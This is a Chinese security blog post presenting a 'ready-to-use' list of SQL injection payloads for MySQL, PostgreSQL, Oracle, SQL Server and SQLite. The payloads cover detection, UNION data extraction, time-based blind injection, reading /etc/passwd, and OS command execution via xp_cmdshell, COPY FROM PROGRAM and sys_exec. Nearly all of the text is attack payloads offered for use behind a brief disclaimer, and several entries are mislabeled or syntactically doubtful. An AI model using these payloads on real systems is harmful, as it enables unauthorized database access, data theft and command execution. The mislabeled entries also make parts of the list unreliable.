拿来即用SQL注入POC,亲测好用
拿来即用SQL注入POC,亲测好用
原创 锐鉴安全 锐鉴安全 2025-04-26 03:38
声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
关注公众号,设置为星标,
不定期有宠粉福利
Part-01
背景
根据测试过程中发现sql注入漏洞,总结并分享一份针对不同数据库的poc清单。
Part-02
SQL注入POC
一、基础探测通用POC
适用场景:快速验证是否存在注入点
所有数据库通用
‘ OR 1=1 —
” OR 1=1 —
‘ OR ‘a’=’a’
‘ || 1=1 —
触发错误判断数据库类型
‘ HAVING 1=1 — # 触发错误
‘ AND (SELECT 1 FROM fake_table) — # 触发表不存在错误
二、按数据库类型详细POC
- MySQL/MariaDB
注入类型 |
POC示例 |
关键函数/特性 |
布尔检测 |
' OR 1=1 — |
— 注释符 |
联合查询 |
' UNION SELECT user(), @@version — |
user(), @@version |
时间盲注 |
' AND SLEEP(5) — |
SLEEP(), BENCHMARK() |
文件读取 |
' UNION SELECT LOAD_FILE('/etc/passwd'),1 |
LOAD_FILE() |
命令执行 |
';SELECT sys_exec('whoami') — |
需FILE权限+secure_file_priv |
2.PostgreSQL
注入类型 |
POC示例 |
关键函数/特性 |
布尔检测 |
' OR '1'='1' — |
单引号闭合 |
联合查询 |
' UNION SELECT current_user, version() — |
current_user, version() |
时间盲注 |
`'pg_sleep(5) — ` |
pg_sleep() |
文件读取 |
' UNION SELECT pg_read_file('/etc/passwd'),1 |
pg_read_file() |
命令执行 |
'; COPY cmd_exec FROM PROGRAM 'id' — |
需超级用户权限 |
3.Oracle
注入类型 |
POC示例 |
关键函数/特性 |
布尔检测 |
' OR 1=1 FROM DUAL — |
DUAL虚拟表 |
联合查询 |
' UNION SELECT banner, NULL FROM v$version — |
v$version视图 |
时间盲注 |
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1 — |
DBMS_PIPE.RECEIVE_MESSAGE() |
文件读取 |
' UNION SELECT utl_file.fopen('/etc','passwd') FROM DUAL — |
UTL_FILE包 |
命令执行 |
'; EXEC dbms_java.runjava('oracle/aurora/util/Wrapper') — |
需Java权限 |
4.SQL Server
注入类型 |
POC示例 |
关键函数/特性 |
布尔检测 |
' OR 1=1; — |
;语句分隔符 |
联合查询 |
' UNION SELECT @@version, CURRENT_USER — |
@@version, CURRENT_USER |
时间盲注 |
'; WAITFOR DELAY '0:0:5' — |
WAITFOR DELAY |
文件读取 |
'; EXEC xp_cmdshell 'dir C:\' — |
xp_cmdshell(需启用) |
注册表操作 |
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE', … |
xp_regread |
- SQLite
注入类型 |
POC示例 |
关键函数/特性 |
布尔检测 |
' OR 1=1 — |
简单逻辑判断 |
联合查询 |
' UNION SELECT sqlite_version(), 1 — |
sqlite_version() |
时间盲注 |
' UNION SELECT sql, NULL FROM sqlite_master — |
sqlite_master系统表 |
文件读取 |
'; ATTACH DATABASE '/etc/passwd' AS pwn — |
ATTACH DATABASE |
三、关键差异速查表
功能 |
MySQL |
PostgreSQL |
Oracle |
SQL Server |
SQLite |
注释符 |
— 或 # |
— |
— |
— |
— |
字符串连接 |
CONCAT() 或 “ |
|| |
|| |
+ |
|| |
版本函数 |
@@version |
version() |
v$version |
@@version |
sqlite_version() |
延时函数 |
SLEEP(5) |
pg_sleep(5) |
DBMS_LOCK.SLEEP(5) |
WAITFOR DELAY |
无原生支持 |
系统用户 |
user() |
current_user |
SYS_CONTEXT |
CURRENT_USER |
无直接获取方式 |
四、高级利用技巧
- 跨数据库通用Payload
获取所有数据库类型用户表名(需权限)
‘ UNION SELECT table_name, NULL FROM information_schema.tables —
获取当前数据库名
‘ UNION SELECT database(), NULL —
注意事项
Oracle的复杂语法需严格处理表名和别名(必须使用FROM DUAL)
SQL Server默认禁用xp_cmdshell,需先启用
PostgreSQL的权限控制严格,需高权限账户
SQLite无原生网络功能,需结合其他漏洞利用